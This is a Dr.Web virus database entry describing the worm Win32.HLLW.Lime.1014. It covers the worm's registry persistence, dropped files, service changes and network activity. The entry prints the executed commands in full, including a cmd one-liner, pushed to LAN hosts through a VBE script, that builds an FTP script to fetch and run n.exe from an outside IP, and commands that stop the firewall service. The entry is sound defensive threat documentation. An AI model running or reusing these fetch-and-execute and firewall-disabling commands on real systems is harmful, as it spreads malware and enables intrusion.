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Win32.HLLW.Lime.1014

Added to the Dr.Web virus database: 2011-07-11

Virus description added:

Technical Information

To ensure autorun and distribution:
Modifies the following registry keys:
  • [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'safe360' = '%CommonProgramFiles%\sebsbvx\coiome.exe'
Creates or modifies the following files:
  • %WINDIR%\Tasks\YXWb.exe
  • %WINDIR%\Tasks\YXWg.vbe
Creates the following services:
  • [<HKLM>\SYSTEM\ControlSet001\Services\LmHosts] 'Start' = '00000002'
  • [<HKLM>\SYSTEM\ControlSet001\Services\RpcLocator] 'Start' = '00000002'
  • [<HKLM>\SYSTEM\ControlSet001\Services\NtLmSsp] 'Start' = '00000002'
  • [<HKLM>\SYSTEM\ControlSet001\Services\Browser] 'Start' = '00000002'
  • [<HKLM>\SYSTEM\ControlSet001\Services\lanmanserver] 'Start' = '00000002'
  • [<HKLM>\SYSTEM\ControlSet001\Services\lanmanworkstation] 'Start' = '00000002'
Malicious functions:
Creates and executes the following:
  • %WINDIR%\Tasks\YXWb.exe 192.168.193.5 : 192.168.193.6 : 192.168.193.7 : 192.168.193.4 : 192.168.193.1 : 192.168.193.2 : 192.168.193.3 :
  • %CommonProgramFiles%\sebsbvx\coiome.exe 
Executes the following:
  • <SYSTEM32>\net1.exe start RpcLocator
  • <SYSTEM32>\cscript.exe %WINDIR%\Tasks\YXWg.vbe 192.168.193.1 %USERNAME% "" "cmd /c @echo open 61.129.51.245>>b.dat&@echo a>>b.dat&@echo a>>b.dat&@echo bin>>b.dat&@echo get n.exe>>b.dat&@echo by>>b.dat&@ftp -s:b.dat&del b.dat&n.exe&n.exe&del n.exe"
  • <SYSTEM32>\sc.exe delete JavaServe
  • <SYSTEM32>\net1.exe stop sharedaccess
  • <SYSTEM32>\net1.exe start LmHosts
  • <SYSTEM32>\locator.exe
  • <SYSTEM32>\attrib.exe -h -s -r -a "%HOMEPATH%\Cookies\*.*"
  • <SYSTEM32>\cscript.exe %WINDIR%\Tasks\YXWg.vbe 192.168.193.3 %USERNAME% "" "cmd /c @echo open 61.129.51.245>>b.dat&@echo a>>b.dat&@echo a>>b.dat&@echo bin>>b.dat&@echo get n.exe>>b.dat&@echo by>>b.dat&@ftp -s:b.dat&del b.dat&n.exe&n.exe&del n.exe"
  • <SYSTEM32>\net1.exe start NtLmSsp
  • <SYSTEM32>\cscript.exe %WINDIR%\Tasks\YXWg.vbe 192.168.193.2 %USERNAME% "" "cmd /c @echo open 61.129.51.245>>b.dat&@echo a>>b.dat&@echo a>>b.dat&@echo bin>>b.dat&@echo get n.exe>>b.dat&@echo by>>b.dat&@ftp -s:b.dat&del b.dat&n.exe&n.exe&del n.exe"
  • <SYSTEM32>\net1.exe start Browser
  • <SYSTEM32>\sc.exe config lanmanserver start= auto
  • <SYSTEM32>\sc.exe config lanmanworkstation start= auto
  • <SYSTEM32>\sc.exe config Browser start= auto
  • <SYSTEM32>\mshta.exe "%PROGRAM_FILES%\AHO.hta"
  • <SYSTEM32>\taskkill.exe /im coiome.exe /f
  • <SYSTEM32>\net1.exe start lanmanserver
  • <SYSTEM32>\net1.exe start lanmanworkstation
  • <SYSTEM32>\sc.exe config NtLmSsp start= auto
  • <SYSTEM32>\sc.exe config LmHosts start= auto
  • <SYSTEM32>\sc.exe config RpcLocator start= auto
Sets a new unauthorized home page for Windows Internet Explorer.
Modifies file system :
Creates the following files:
  • \Device\LanmanRedirector\192.168.193.2\pipe\browser
  • \Device\LanmanRedirector\192.168.193.1\pipe\browser
  • \Device\LanmanRedirector\192.168.193.4\pipe\browser
  • \Device\LanmanRedirector\192.168.193.3\pipe\browser
  • %CommonProgramFiles%\sebsbvx\coiome.exe
  • %PROGRAM_FILES%\AHO.hta
  • %WINDIR%\Fonts\oh.ini
  • %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\69I9OPW5\b[1].jpg
Deletes itself.
Network activity:
Connects to:
  • '<Private IP address>':445
  • '<Private IP address>':135
  • '<Private IP address>':139
  • 'localhost':1037
  • 'j.###6800.com':80
  • 'tj.##16800.com':80
TCP:
HTTP GET requests:
  • tj.##16800.com/t/Count.asp?ma#######################################
  • j.###6800.com/b.jpg
UDP:
  • DNS ASK tj.##16800.com
  • DNS ASK j.###6800.com
Miscellaneous:
Searches for the following windows:
  • ClassName: '' WindowName: ''
  • ClassName: 'Shell_TrayWnd' WindowName: ''